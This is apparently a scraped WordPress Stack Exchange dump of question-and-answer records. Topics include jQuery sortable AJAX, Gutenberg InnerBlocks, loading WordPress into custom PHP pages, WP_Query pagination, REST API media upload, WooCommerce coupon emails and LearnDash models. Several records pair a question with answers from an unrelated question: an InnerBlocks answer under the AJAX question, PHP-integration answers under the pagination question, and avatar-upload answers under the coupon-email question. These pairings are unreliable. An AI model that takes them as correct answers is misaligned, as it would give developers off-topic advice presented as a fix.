class="filter-fields-list"&gt; &lt;li id="1" class="ui-state-default"&gt;Item 1&lt;/li&gt; &lt;li id="2" class="ui-state-default"&gt;Item 2&lt;/li&gt; &lt;li id="3" class="ui-state-default"&gt;Item 3&lt;/li&gt; &lt;li id="4" class="ui-state-default"&gt;Item 4&lt;/li&gt; &lt;li id="5" class="ui-state-default"&gt;Item 5&lt;/li&gt; &lt;li id="6" class="ui-state-default"&gt;Item 6&lt;/li&gt; &lt;li id="7" class="ui-state-default"&gt;Item 7&lt;/li&gt; &lt;li id="8" class="ui-state-default"&gt;Item 8&lt;/li&gt; &lt;/ul&gt; &lt;ul id="sortable4" class="filter-fields-list"&gt; &lt;li id="9" class="ui-state-default"&gt;Item 9&lt;/li&gt; &lt;li id="10" class="ui-state-default"&gt;Item 10&lt;/li&gt; &lt;/ul&gt; </code></pre> <p>And the JavaScript:</p> <pre><code>jQuery(document).ready(function($){ $(document).ready(function() { $('#sortable3, #sortable4').sortable({ connectWith: ".filter-fields-list", stop: function (event, ui) { var data1 = $('#sortable3').sortable('toArray'); var data2 = $('#sortable4').sortable('toArray'); var sep = "/"; var findata = (data1 + sep + data2); alert(findata); $.ajax({ data: findata, type: 'POST', url: dtAjax.ajaxurl, failure: function(data) { alert(("You suck" + dtAjax.ajaxurl)); }, success: function(data) { alert(("You don't" + dtAjax.ajaxurl)); } }); } }).disableSelection(); }); }); </code></pre> <p>What do I put into <code>my-ajax.php</code> to get the same data that the alert in the jQuery is giving me, and print it to the screen to verify? Please help me I don't program. All I need is to get that data into PHP and I can figure out what to do with it after that. </p>
[ { "answer_id": 350408, "author": "Welcher", "author_id": 27210, "author_profile": "https://wordpress.stackexchange.com/users/27210", "pm_score": 3, "selected": true, "text": "<p>The only way to do this at the moment is by using the <code>renderAppender</code>prop on<code>InnerBlocks</code>. This prop is only available in the Gutenberg plugin until WordPress 5.3 is released. The theory would be to use state in each <code>CustomCard</code> to track if there has been a block added, then return false from the <code>renderAppender</code> function so the user cannot insert more items.</p>\n" }, { "answer_id": 369179, "author": "user3283637", "author_id": 190109, "author_profile": "https://wordpress.stackexchange.com/users/190109", "pm_score": 1, "selected": false, "text": "<p>Here is a simple solution to this problem I've implemented using the <a href=\"https://github.com/WordPress/gutenberg/tree/master/packages/block-editor/src/components/inner-blocks#renderappender\" rel=\"nofollow noreferrer\">renderAppender</a> prop, inspired by Welcher's comment above and <a href=\"https://stackoverflow.com/questions/53345956/gutenberg-custom-block-add-elements-by-innerblocks-length\">this post over on Stack</a>.</p>\n<pre><code>&lt;InnerBlocks\n renderAppender={() =&gt; {\n const blocks = select('core/editor').getBlocks();\n const block = find(blocks, ['name', 'NAME_OF_YOUR_BLOCK']);\n // don't return appender if there's one or more blocks:\n if (block &amp;&amp; block.innerBlocks.length &gt; 0) return null;\n // otherwise, return default appender\n return (&lt;InnerBlocks.DefaultBlockAppender /&gt;);\n }}\n/&gt;\n</code></pre>\n<p><strong>Note:</strong> This example is using <a href=\"https://lodash.com/docs/4.17.15#find\" rel=\"nofollow noreferrer\">lodash find</a> function to get the block I'm targeting. There may be a better way to do this, but for now it does the job.</p>\n<p>Also, be sure to import the <code>select</code> function. E.g.</p>\n<pre><code>import { select } from '@wordpress/data';\n</code></pre>\n" } ]
2019/10/11
[ "https://wordpress.stackexchange.com/questions/350324", "https://wordpress.stackexchange.com", "https://wordpress.stackexchange.com/users/174068/" ]
I have a jQuery UI sortable list, connected to another list, so far my JavaScript can display the HTML ID's from both of the lists to the screen, but I am having trouble figuring out how to direct this data to a PHP file so I can work with it. Is `wp_localize_script` necessary for me? I have it pointing ajaxurl `plugins_url( 'my-ajax.php' )`. Does this need to go to `admin_url( 'admin-ajax.php' )`? I'm trying to use this on an admin page I created, not the front end. This is extremely confusing. This is how I'm trying to enqueue jQuery in WordPress: ``` add_action( 'admin_enqueue_scripts',array($this, 'admin_scripts' )); function admin_scripts() { wp_register_script( 'admin-js', plugin_dir_url(__FILE__) . '/admin.js', array('jquery'), '', true); wp_localize_script( 'admin-js', 'dtAjax', array( 'ajaxurl' => plugins_url( 'my-ajax.php' , __FILE__))); wp_enqueue_script( 'admin-js' ); wp_enqueue_script( 'jquery-ui-core' ); wp_enqueue_script( 'jquery-ui-sortable' ); wp_register_style( 'digitable_jquery', '//code.jquery.com/ui/1.12.1/themes/base/jquery-ui.css', false, '1.0.0' ); wp_enqueue_style( 'digitable_jquery' ); } ``` Here is the HTML ``` <ul id="sortable3" class="filter-fields-list"> <li id="1" class="ui-state-default">Item 1</li> <li id="2" class="ui-state-default">Item 2</li> <li id="3" class="ui-state-default">Item 3</li> <li id="4" class="ui-state-default">Item 4</li> <li id="5" class="ui-state-default">Item 5</li> <li id="6" class="ui-state-default">Item 6</li> <li id="7" class="ui-state-default">Item 7</li> <li id="8" class="ui-state-default">Item 8</li> </ul> <ul id="sortable4" class="filter-fields-list"> <li id="9" class="ui-state-default">Item 9</li> <li id="10" class="ui-state-default">Item 10</li> </ul> ``` And the JavaScript: ``` jQuery(document).ready(function($){ $(document).ready(function() { $('#sortable3, #sortable4').sortable({ connectWith: ".filter-fields-list", stop: function (event, ui) { var data1 = $('#sortable3').sortable('toArray'); var data2 = $('#sortable4').sortable('toArray'); var sep = "/"; var findata = (data1 + sep + data2); alert(findata); $.ajax({ data: findata, type: 'POST', url: dtAjax.ajaxurl, failure: function(data) { alert(("You suck" + dtAjax.ajaxurl)); }, success: function(data) { alert(("You don't" + dtAjax.ajaxurl)); } }); } }).disableSelection(); }); }); ``` What do I put into `my-ajax.php` to get the same data that the alert in the jQuery is giving me, and print it to the screen to verify? Please help me I don't program. All I need is to get that data into PHP and I can figure out what to do with it after that.
The only way to do this at the moment is by using the `renderAppender`prop on`InnerBlocks`. This prop is only available in the Gutenberg plugin until WordPress 5.3 is released. The theory would be to use state in each `CustomCard` to track if there has been a block added, then return false from the `renderAppender` function so the user cannot insert more items.
350,335
<p>I have developed a custom PHP page with filters, add to cart module, music playlist everything. How can i implement it into WordPress? I am a newbie, any help thanks.</p> <p>My custom PHP work directory structure :</p> <pre><code>location : public_html/my_work website URL : website.com/my_work </code></pre> <p>Everything is working good, but my WordPress Header and Footer are missing. How to implement my custom development multiple PHP page work into WordPress?</p>
[ { "answer_id": 350457, "author": "NextGenThemes", "author_id": 38602, "author_profile": "https://wordpress.stackexchange.com/users/38602", "pm_score": 2, "selected": false, "text": "<p>Abandon your old structure! Possibly move it into a plugin. You are entering a new and complicated world and it looks like you need to learn about it. Better learn how WP works instead of trying to make it bend to what you have in mind.</p>\n\n<p>If you want dynamic things happening from existing php code the simplest way to get that into WP are shortcodes. You make your code <code>return</code> what you want to output on a page/post and then put that shortcode in where your php generated stuff should be.</p>\n\n<pre><code>&lt;?php\n/*\nPlugin Name: BestPluginEva\nPlugin URI:\nDescription:\nVersion: 0.0.1\nAuthor: You\nAuthor URI:\nLicense: GPLv3\nLicense URI: http://www.gnu.org/licenses/gpl.html\n*/ \nnamespace You\\YourStuff;\n\nadd_action( 'init', __NAMESPACE__ . '\\register_shortcode' ); \n\nfunction register_shortcode() {\n add_shortcode( 'old_content_output', __NAMESPACE__ . '\\old_content_shortcode' );\n}\n\nfunction old_content_shortcode( $atts = [], $content = null ) {\n\n $shortcode_html_output = your_old_content();\n\n // always return never echo or break out of php into HTML\n return $shortcode_html_output;\n}\n</code></pre>\n\n<p>This can get your started. Then put <code>[old_content_output]</code> into a page to get your old php code to output it there.</p>\n" }, { "answer_id": 350515, "author": "Vantiya", "author_id": 92361, "author_profile": "https://wordpress.stackexchange.com/users/92361", "pm_score": -1, "selected": true, "text": "<p>You can integrate your PHP file into WordPress with various ways like you can create a plugins and activate plugins and then you get all your PHP file accessible to WP functions. </p>\n\n<p>It's bit dirty but in your case if you wish you add <code>require_once(rtrim($_SERVER['DOCUMENT_ROOT'], '/') . '/wp-load.php');</code> on top of the files or if all files are loaded through index.php add the code on top of the file and after that you can include <code>get_header()</code> and in footer you can write <code>get_footer()</code>. </p>\n\n<p>In response to your question in chat for not accessing this in local host is, localhost $_SERVER['DOCUMENT_ROOT'] returns path to localhost/ and your package is accessible on localhost using <a href=\"http://locahost/yoursite\" rel=\"nofollow noreferrer\">http://locahost/yoursite</a> You have to modify for localhost or if you test this on server with subdomain you have to modify code like <code>require_once(rtrim($_SERVER['DOCUMENT_ROOT'], '/') . '/yoursite/wp-load.php');</code></p>\n" } ]
2019/10/12
[ "https://wordpress.stackexchange.com/questions/350335", "https://wordpress.stackexchange.com", "https://wordpress.stackexchange.com/users/93212/" ]
I have developed a custom PHP page with filters, add to cart module, music playlist everything. How can i implement it into WordPress? I am a newbie, any help thanks. My custom PHP work directory structure : ``` location : public_html/my_work website URL : website.com/my_work ``` Everything is working good, but my WordPress Header and Footer are missing. How to implement my custom development multiple PHP page work into WordPress?
You can integrate your PHP file into WordPress with various ways like you can create a plugins and activate plugins and then you get all your PHP file accessible to WP functions. It's bit dirty but in your case if you wish you add `require_once(rtrim($_SERVER['DOCUMENT_ROOT'], '/') . '/wp-load.php');` on top of the files or if all files are loaded through index.php add the code on top of the file and after that you can include `get_header()` and in footer you can write `get_footer()`. In response to your question in chat for not accessing this in local host is, localhost $\_SERVER['DOCUMENT\_ROOT'] returns path to localhost/ and your package is accessible on localhost using <http://locahost/yoursite> You have to modify for localhost or if you test this on server with subdomain you have to modify code like `require_once(rtrim($_SERVER['DOCUMENT_ROOT'], '/') . '/yoursite/wp-load.php');`
350,378
<p>i hope you help me with this,</p> <p>i am making a wordpress website witch has 3 diffrent post types(the regular post type and 2 others), i have the pagenation work very with in the regular posts page, but it does not work in the other 2 page of the other custom posts, when i tried to solve this out i found that the problem is that like the custom query object does not have the <code>max_num_pages</code> attribute, when i echo the value of it, it does not show of , look at my code!</p> <p>this is the custom query i made:</p> <pre><code> $currentpage = get_query_var('paged'); $myQuery= new WP_Query(array( 'post_type' =&gt; 'airdrop', 'posts_per_page' =&gt; 3, 'paged' =&gt; $currentpage )) function my_pagination(){ $all_pages = $myQuery-&gt;max_num_pages; $current_page = max(1 , get_query_var('paged')); echo $current_page ."/". $all_pages; if ($all_pages&gt;1) { return paginate_links(array( 'base' =&gt;get_pagenum_link() .'%_%', 'format' =&gt;'page/%#%', 'current' =&gt;$current_page )); } } echo my_pagination(); </code></pre> <p>if you look at this line <code>echo $current_page ."/". $all_pages;</code> this should print something <code>like 1 / 2 or 1 /3</code> , but it shows only <code>1 / blank</code> and the num_max not shwing, i hope you help me figure it out </p> <p><strong><em>EDIT :</em></strong></p> <p>even this simple codeisn't working </p> <pre><code> $loop = new WP_Query(array( 'post_type' =&gt; 'airdrop', 'posts_per_page' =&gt; 3, )); echo $loop-&gt;max_num_comment_pages; </code></pre>
[ { "answer_id": 350457, "author": "NextGenThemes", "author_id": 38602, "author_profile": "https://wordpress.stackexchange.com/users/38602", "pm_score": 2, "selected": false, "text": "<p>Abandon your old structure! Possibly move it into a plugin. You are entering a new and complicated world and it looks like you need to learn about it. Better learn how WP works instead of trying to make it bend to what you have in mind.</p>\n\n<p>If you want dynamic things happening from existing php code the simplest way to get that into WP are shortcodes. You make your code <code>return</code> what you want to output on a page/post and then put that shortcode in where your php generated stuff should be.</p>\n\n<pre><code>&lt;?php\n/*\nPlugin Name: BestPluginEva\nPlugin URI:\nDescription:\nVersion: 0.0.1\nAuthor: You\nAuthor URI:\nLicense: GPLv3\nLicense URI: http://www.gnu.org/licenses/gpl.html\n*/ \nnamespace You\\YourStuff;\n\nadd_action( 'init', __NAMESPACE__ . '\\register_shortcode' ); \n\nfunction register_shortcode() {\n add_shortcode( 'old_content_output', __NAMESPACE__ . '\\old_content_shortcode' );\n}\n\nfunction old_content_shortcode( $atts = [], $content = null ) {\n\n $shortcode_html_output = your_old_content();\n\n // always return never echo or break out of php into HTML\n return $shortcode_html_output;\n}\n</code></pre>\n\n<p>This can get your started. Then put <code>[old_content_output]</code> into a page to get your old php code to output it there.</p>\n" }, { "answer_id": 350515, "author": "Vantiya", "author_id": 92361, "author_profile": "https://wordpress.stackexchange.com/users/92361", "pm_score": -1, "selected": true, "text": "<p>You can integrate your PHP file into WordPress with various ways like you can create a plugins and activate plugins and then you get all your PHP file accessible to WP functions. </p>\n\n<p>It's bit dirty but in your case if you wish you add <code>require_once(rtrim($_SERVER['DOCUMENT_ROOT'], '/') . '/wp-load.php');</code> on top of the files or if all files are loaded through index.php add the code on top of the file and after that you can include <code>get_header()</code> and in footer you can write <code>get_footer()</code>. </p>\n\n<p>In response to your question in chat for not accessing this in local host is, localhost $_SERVER['DOCUMENT_ROOT'] returns path to localhost/ and your package is accessible on localhost using <a href=\"http://locahost/yoursite\" rel=\"nofollow noreferrer\">http://locahost/yoursite</a> You have to modify for localhost or if you test this on server with subdomain you have to modify code like <code>require_once(rtrim($_SERVER['DOCUMENT_ROOT'], '/') . '/yoursite/wp-load.php');</code></p>\n" } ]
2019/10/12
[ "https://wordpress.stackexchange.com/questions/350378", "https://wordpress.stackexchange.com", "https://wordpress.stackexchange.com/users/174298/" ]
i hope you help me with this, i am making a wordpress website witch has 3 diffrent post types(the regular post type and 2 others), i have the pagenation work very with in the regular posts page, but it does not work in the other 2 page of the other custom posts, when i tried to solve this out i found that the problem is that like the custom query object does not have the `max_num_pages` attribute, when i echo the value of it, it does not show of , look at my code! this is the custom query i made: ``` $currentpage = get_query_var('paged'); $myQuery= new WP_Query(array( 'post_type' => 'airdrop', 'posts_per_page' => 3, 'paged' => $currentpage )) function my_pagination(){ $all_pages = $myQuery->max_num_pages; $current_page = max(1 , get_query_var('paged')); echo $current_page ."/". $all_pages; if ($all_pages>1) { return paginate_links(array( 'base' =>get_pagenum_link() .'%_%', 'format' =>'page/%#%', 'current' =>$current_page )); } } echo my_pagination(); ``` if you look at this line `echo $current_page ."/". $all_pages;` this should print something `like 1 / 2 or 1 /3` , but it shows only `1 / blank` and the num\_max not shwing, i hope you help me figure it out ***EDIT :*** even this simple codeisn't working ``` $loop = new WP_Query(array( 'post_type' => 'airdrop', 'posts_per_page' => 3, )); echo $loop->max_num_comment_pages; ```
You can integrate your PHP file into WordPress with various ways like you can create a plugins and activate plugins and then you get all your PHP file accessible to WP functions. It's bit dirty but in your case if you wish you add `require_once(rtrim($_SERVER['DOCUMENT_ROOT'], '/') . '/wp-load.php');` on top of the files or if all files are loaded through index.php add the code on top of the file and after that you can include `get_header()` and in footer you can write `get_footer()`. In response to your question in chat for not accessing this in local host is, localhost $\_SERVER['DOCUMENT\_ROOT'] returns path to localhost/ and your package is accessible on localhost using <http://locahost/yoursite> You have to modify for localhost or if you test this on server with subdomain you have to modify code like `require_once(rtrim($_SERVER['DOCUMENT_ROOT'], '/') . '/yoursite/wp-load.php');`
350,386
<p>I am developing an android app that give users ability to browse , register, login, post and comment to my wordpress blog using Rest Api . </p> <p>I am trying now to add a way for users to update their avatars , but i have no idea how to upload media to my blog </p> <pre><code> add_action('rest_api_init', function () { register_rest_route( 'wp/v2', 'upload_image/',array( 'methods' =&gt; 'POST', 'callback' =&gt; 'upload_image' )); }); function upload_image( $path ) { // NO IDEA HERE } </code></pre>
[ { "answer_id": 350417, "author": "Brink Press", "author_id": 176528, "author_profile": "https://wordpress.stackexchange.com/users/176528", "pm_score": -1, "selected": false, "text": "<p>WordPress has a built-in function <a href=\"https://codex.wordpress.org/Function_Reference/media_handle_upload\" rel=\"nofollow noreferrer\">Media Handle Permalink</a> that you can use to create an entry of the file in the database. <a href=\"https://codex.wordpress.org/Function_Reference/media_handle_upload\" rel=\"nofollow noreferrer\">Media Handle Permalink</a> deals with the POST request, writing to storage, and adding the attachment to the database. You can check the link that leads to the WordPress Codex to find out more on its uses.</p>\n" }, { "answer_id": 398088, "author": "RocketMan", "author_id": 198263, "author_profile": "https://wordpress.stackexchange.com/users/198263", "pm_score": 0, "selected": false, "text": "<p>You can upload media through the REST API, but to associate it with a user you'll need a plugin or your own custom REST Route. Duplicate of: <a href=\"https://wordpress.stackexchange.com/questions/380158/how-to-change-user-avatar-using-rest-api\">How to change user avatar using REST API?</a></p>\n" } ]
2019/10/12
[ "https://wordpress.stackexchange.com/questions/350386", "https://wordpress.stackexchange.com", "https://wordpress.stackexchange.com/users/147049/" ]
I am developing an android app that give users ability to browse , register, login, post and comment to my wordpress blog using Rest Api . I am trying now to add a way for users to update their avatars , but i have no idea how to upload media to my blog ``` add_action('rest_api_init', function () { register_rest_route( 'wp/v2', 'upload_image/',array( 'methods' => 'POST', 'callback' => 'upload_image' )); }); function upload_image( $path ) { // NO IDEA HERE } ```
You can upload media through the REST API, but to associate it with a user you'll need a plugin or your own custom REST Route. Duplicate of: [How to change user avatar using REST API?](https://wordpress.stackexchange.com/questions/380158/how-to-change-user-avatar-using-rest-api)
350,403
<p>How to change this code so that it sends the email notification <strong>after successfully payment</strong> in WooCommerce?</p> <pre><code>add_action( 'woocommerce_applied_coupon', 'custom_email_on_applied_coupon', 10, 1 ); function custom_email_on_applied_coupon( $coupon_code ){ if( $coupon_code == 'mycoupon' ){ $to = "john@gmail.com"; $subject = "Coupon $coupon_code has been applied"; $content = " The coupon code $coupon_code has been applied by a customer "; wp_mail( $to, $subject, $content ); } } </code></pre>
[ { "answer_id": 350417, "author": "Brink Press", "author_id": 176528, "author_profile": "https://wordpress.stackexchange.com/users/176528", "pm_score": -1, "selected": false, "text": "<p>WordPress has a built-in function <a href=\"https://codex.wordpress.org/Function_Reference/media_handle_upload\" rel=\"nofollow noreferrer\">Media Handle Permalink</a> that you can use to create an entry of the file in the database. <a href=\"https://codex.wordpress.org/Function_Reference/media_handle_upload\" rel=\"nofollow noreferrer\">Media Handle Permalink</a> deals with the POST request, writing to storage, and adding the attachment to the database. You can check the link that leads to the WordPress Codex to find out more on its uses.</p>\n" }, { "answer_id": 398088, "author": "RocketMan", "author_id": 198263, "author_profile": "https://wordpress.stackexchange.com/users/198263", "pm_score": 0, "selected": false, "text": "<p>You can upload media through the REST API, but to associate it with a user you'll need a plugin or your own custom REST Route. Duplicate of: <a href=\"https://wordpress.stackexchange.com/questions/380158/how-to-change-user-avatar-using-rest-api\">How to change user avatar using REST API?</a></p>\n" } ]
2019/10/13
[ "https://wordpress.stackexchange.com/questions/350403", "https://wordpress.stackexchange.com", "https://wordpress.stackexchange.com/users/48812/" ]
How to change this code so that it sends the email notification **after successfully payment** in WooCommerce? ``` add_action( 'woocommerce_applied_coupon', 'custom_email_on_applied_coupon', 10, 1 ); function custom_email_on_applied_coupon( $coupon_code ){ if( $coupon_code == 'mycoupon' ){ $to = "john@gmail.com"; $subject = "Coupon $coupon_code has been applied"; $content = " The coupon code $coupon_code has been applied by a customer "; wp_mail( $to, $subject, $content ); } } ```
You can upload media through the REST API, but to associate it with a user you'll need a plugin or your own custom REST Route. Duplicate of: [How to change user avatar using REST API?](https://wordpress.stackexchange.com/questions/380158/how-to-change-user-avatar-using-rest-api)
350,472
<p>New to Wordpress development.</p> <p>I am using a plugin that uses custom posts types to create online courses.</p> <p>I noticed that the plugin has a file called </p> <p>/wp-content/plugins/sfwd-lms/includes/classes/class-ldlms-topic-model.php</p> <p>It contains:</p> <pre><code>&lt;?php if ( ( class_exists( 'LDLMS_Model_Post' ) ) &amp;&amp; ( ! class_exists( 'LDLMS_Model_Topic' ) ) ) { class LDLMS_Model_Topic extends LDLMS_Model_Post { private static $post_type = 'sfwd-topic'; function __construct( $topic_id = 0 ) { $this-&gt;load( $topic_id ); } // Endof functions. } } </code></pre> <p>So in a hook action I am trying to access the plugin's models. For instance as so:</p> <pre><code>require_once LEARNDASH_LMS_PLUGIN_DIR . 'includes/classes/abstract-ldlms-model-post.php'; require_once LEARNDASH_LMS_PLUGIN_DIR . 'includes/classes/class-ldlms-topic-model.php'; add_action( 'learndash-topic-quiz-row-before', 'show_topic_content', 10, 3); function show_topic_content($topicID, $course_id, $user_id) { // get model $thistopic = new LDLMS_Model_Topic($topicID); print_r($thistopic);die; } </code></pre> <p>But I get this error:</p> <pre><code>Fatal error: Uncaught Error: Call to undefined method LDLMS_Model_Topic::load() in wp-content/plugins/sfwd-lms/includes/classes/class-ldlms-topic-model.php:8 </code></pre> <p>I just came from Laravel development so I suppose there is a wordpress-ish way to go about accessing a model and maybe I am missing some step?</p> <p>Or maybe, because a <code>topic</code> in this plugin is a type of <code>post</code> I need to use the <code>post</code> model? Seems like that would be odd since this <code>topic</code> model is its own unique sort of <code>post</code>.</p> <p>Would be very curious to know what is the proper, plugin-agnostic way to access a model, its permissions.</p> <p>Thanks, Brian</p>
[ { "answer_id": 350474, "author": "Tom J Nowell", "author_id": 736, "author_profile": "https://wordpress.stackexchange.com/users/736", "pm_score": 2, "selected": false, "text": "<blockquote>\n <p>I just came from Laravel development so I suppose there is a wordpress-ish way to go about accessing a model and maybe I am missing some step?</p>\n</blockquote>\n\n<p>You don't, Laravel is a framework that provides structure, and so models are models, but in WP there's none of that.</p>\n\n<p>Plugins in WordPress are just PHP files with a comment at the top with some meta data. They're not contained, sandboxed, or separated in any way, which means:</p>\n\n<ul>\n<li>you can't infer anything from the folder/file name a class might be in</li>\n<li>those objects and variables aren't stored in a common place, unless that plugin puts it in one</li>\n<li>there is no standard way to grab a plugins data structures, if it has any data structures at all</li>\n</ul>\n\n<p>A plugin may not have any models to fetch, it may use a different programming paradigm, it may not store any data at all. A plugin might even load parts of Laravel and use Laravel to structure itself internally. I've used Symfony components in WP plugins myself</p>\n\n<p>So if the data is stored using WordPress APIs such as custom post types, post meta, taxonomies, etc, then you can use all the standard WP functions to retrieve them. You will need to do some investigation to understand what the post meta values LearnDash stores, and what they mean and do though.</p>\n\n<p>As for controllers and models, WP provides no controllers and models. Any classes WP does provide are not places to store or extend. It isn't an OO framework, or a framework at all, you have to provide those bits.</p>\n\n<p>So how do you get that object with the data you want?</p>\n\n<ul>\n<li>Look at the learndash docs</li>\n<li>Read the code to figure out where that class is instantiated into an object and how it's stored</li>\n<li>Look for singletons, static variables, global variables, filters</li>\n<li>Accept that there may not be a way to fetch it</li>\n</ul>\n\n<p>But more importantly, contact LearnDash support. 3rd party plugins are offtopic, so any answer you get here will be generic, it won't tell you the specifics of LearnDash. If LearnDash support can't help, then that's unfortunate, you'll need to hire a developer who knows LearnDash, investigate alternatives, or read the LearnDash code and docs to figure it out</p>\n" }, { "answer_id": 350478, "author": "Brian", "author_id": 176321, "author_profile": "https://wordpress.stackexchange.com/users/176321", "pm_score": 0, "selected": false, "text": "<p>Ok, figured it out. The key is that the plugin I am using registers its posts as custom post types. So the 2nd sentence of my post had the key all along: \"I am using a plugin that uses custom posts types\" :-)</p>\n\n<p>According to Wordpress Plugin Dev Guide</p>\n\n<blockquote>\n <p>You can query posts of a specific type by passing the post_type key in\n the arguments array of the WP_Query class constructor.</p>\n</blockquote>\n\n<p>Based on that, voila, this works:</p>\n\n<pre><code>function show_topic_content($topicID, $course_id, $user_id) {\n // get model\n $args = array(\n 'post_type' =&gt; 'sfwd-topic',\n 'p' =&gt; $topicID\n );\n $query = new WP_Query( $args );\n $post = $query-&gt;posts;\n // do stuff\n}\n</code></pre>\n\n<p>Probably basic stuff for pros, but eye opening for me!</p>\n\n<p>thanks,\nBrian</p>\n" } ]
2019/10/14
[ "https://wordpress.stackexchange.com/questions/350472", "https://wordpress.stackexchange.com", "https://wordpress.stackexchange.com/users/176321/" ]
New to Wordpress development. I am using a plugin that uses custom posts types to create online courses. I noticed that the plugin has a file called /wp-content/plugins/sfwd-lms/includes/classes/class-ldlms-topic-model.php It contains: ``` <?php if ( ( class_exists( 'LDLMS_Model_Post' ) ) && ( ! class_exists( 'LDLMS_Model_Topic' ) ) ) { class LDLMS_Model_Topic extends LDLMS_Model_Post { private static $post_type = 'sfwd-topic'; function __construct( $topic_id = 0 ) { $this->load( $topic_id ); } // Endof functions. } } ``` So in a hook action I am trying to access the plugin's models. For instance as so: ``` require_once LEARNDASH_LMS_PLUGIN_DIR . 'includes/classes/abstract-ldlms-model-post.php'; require_once LEARNDASH_LMS_PLUGIN_DIR . 'includes/classes/class-ldlms-topic-model.php'; add_action( 'learndash-topic-quiz-row-before', 'show_topic_content', 10, 3); function show_topic_content($topicID, $course_id, $user_id) { // get model $thistopic = new LDLMS_Model_Topic($topicID); print_r($thistopic);die; } ``` But I get this error: ``` Fatal error: Uncaught Error: Call to undefined method LDLMS_Model_Topic::load() in wp-content/plugins/sfwd-lms/includes/classes/class-ldlms-topic-model.php:8 ``` I just came from Laravel development so I suppose there is a wordpress-ish way to go about accessing a model and maybe I am missing some step? Or maybe, because a `topic` in this plugin is a type of `post` I need to use the `post` model? Seems like that would be odd since this `topic` model is its own unique sort of `post`. Would be very curious to know what is the proper, plugin-agnostic way to access a model, its permissions. Thanks, Brian
> > I just came from Laravel development so I suppose there is a wordpress-ish way to go about accessing a model and maybe I am missing some step? > > > You don't, Laravel is a framework that provides structure, and so models are models, but in WP there's none of that. Plugins in WordPress are just PHP files with a comment at the top with some meta data. They're not contained, sandboxed, or separated in any way, which means: * you can't infer anything from the folder/file name a class might be in * those objects and variables aren't stored in a common place, unless that plugin puts it in one * there is no standard way to grab a plugins data structures, if it has any data structures at all A plugin may not have any models to fetch, it may use a different programming paradigm, it may not store any data at all. A plugin might even load parts of Laravel and use Laravel to structure itself internally. I've used Symfony components in WP plugins myself So if the data is stored using WordPress APIs such as custom post types, post meta, taxonomies, etc, then you can use all the standard WP functions to retrieve them. You will need to do some investigation to understand what the post meta values LearnDash stores, and what they mean and do though. As for controllers and models, WP provides no controllers and models. Any classes WP does provide are not places to store or extend. It isn't an OO framework, or a framework at all, you have to provide those bits. So how do you get that object with the data you want? * Look at the learndash docs * Read the code to figure out where that class is instantiated into an object and how it's stored * Look for singletons, static variables, global variables, filters * Accept that there may not be a way to fetch it But more importantly, contact LearnDash support. 3rd party plugins are offtopic, so any answer you get here will be generic, it won't tell you the specifics of LearnDash. If LearnDash support can't help, then that's unfortunate, you'll need to hire a developer who knows LearnDash, investigate alternatives, or read the LearnDash code and docs to figure it out
350,505
<p>I have some custom taxonomy for regions.</p> <p>Commonly it would look something like this.</p> <pre><code>USA (parent) - Arizona (child 1) - - Phoenix (child 2) </code></pre> <p>however, there will be cases where it will only be like </p> <pre><code>USA - Arizona </code></pre> <p>or</p> <pre><code>UK - Wales </code></pre> <p>and maybe even just</p> <pre><code>Japan </code></pre> <p>In my for loop I get the taxonomy data as <code>$location = get_the_terms( $id, 'listings_region' );</code></p> <p>and then in the html/php I can simply write <code>$location[0]-&gt;name</code> and then I get the the name of the first object in the array. </p> <p>I have however noticed that the taxonomy comes back not in the correct hierarchy - instead, alphabetically. </p> <p>When I <code>echo '&lt;pre&gt;'; print_r($location); echo '&lt;/pre&gt;'</code>, I get the array and [0] would be Arizona and [1] would be USA. </p> <p>How can I retrieve it the taxonomy array in the correct order so that ideally [0] is always the parent, [1] is the first child, etc? </p> <p>Thanks in advance.</p>
[ { "answer_id": 350474, "author": "Tom J Nowell", "author_id": 736, "author_profile": "https://wordpress.stackexchange.com/users/736", "pm_score": 2, "selected": false, "text": "<blockquote>\n <p>I just came from Laravel development so I suppose there is a wordpress-ish way to go about accessing a model and maybe I am missing some step?</p>\n</blockquote>\n\n<p>You don't, Laravel is a framework that provides structure, and so models are models, but in WP there's none of that.</p>\n\n<p>Plugins in WordPress are just PHP files with a comment at the top with some meta data. They're not contained, sandboxed, or separated in any way, which means:</p>\n\n<ul>\n<li>you can't infer anything from the folder/file name a class might be in</li>\n<li>those objects and variables aren't stored in a common place, unless that plugin puts it in one</li>\n<li>there is no standard way to grab a plugins data structures, if it has any data structures at all</li>\n</ul>\n\n<p>A plugin may not have any models to fetch, it may use a different programming paradigm, it may not store any data at all. A plugin might even load parts of Laravel and use Laravel to structure itself internally. I've used Symfony components in WP plugins myself</p>\n\n<p>So if the data is stored using WordPress APIs such as custom post types, post meta, taxonomies, etc, then you can use all the standard WP functions to retrieve them. You will need to do some investigation to understand what the post meta values LearnDash stores, and what they mean and do though.</p>\n\n<p>As for controllers and models, WP provides no controllers and models. Any classes WP does provide are not places to store or extend. It isn't an OO framework, or a framework at all, you have to provide those bits.</p>\n\n<p>So how do you get that object with the data you want?</p>\n\n<ul>\n<li>Look at the learndash docs</li>\n<li>Read the code to figure out where that class is instantiated into an object and how it's stored</li>\n<li>Look for singletons, static variables, global variables, filters</li>\n<li>Accept that there may not be a way to fetch it</li>\n</ul>\n\n<p>But more importantly, contact LearnDash support. 3rd party plugins are offtopic, so any answer you get here will be generic, it won't tell you the specifics of LearnDash. If LearnDash support can't help, then that's unfortunate, you'll need to hire a developer who knows LearnDash, investigate alternatives, or read the LearnDash code and docs to figure it out</p>\n" }, { "answer_id": 350478, "author": "Brian", "author_id": 176321, "author_profile": "https://wordpress.stackexchange.com/users/176321", "pm_score": 0, "selected": false, "text": "<p>Ok, figured it out. The key is that the plugin I am using registers its posts as custom post types. So the 2nd sentence of my post had the key all along: \"I am using a plugin that uses custom posts types\" :-)</p>\n\n<p>According to Wordpress Plugin Dev Guide</p>\n\n<blockquote>\n <p>You can query posts of a specific type by passing the post_type key in\n the arguments array of the WP_Query class constructor.</p>\n</blockquote>\n\n<p>Based on that, voila, this works:</p>\n\n<pre><code>function show_topic_content($topicID, $course_id, $user_id) {\n // get model\n $args = array(\n 'post_type' =&gt; 'sfwd-topic',\n 'p' =&gt; $topicID\n );\n $query = new WP_Query( $args );\n $post = $query-&gt;posts;\n // do stuff\n}\n</code></pre>\n\n<p>Probably basic stuff for pros, but eye opening for me!</p>\n\n<p>thanks,\nBrian</p>\n" } ]
2019/10/15
[ "https://wordpress.stackexchange.com/questions/350505", "https://wordpress.stackexchange.com", "https://wordpress.stackexchange.com/users/176711/" ]
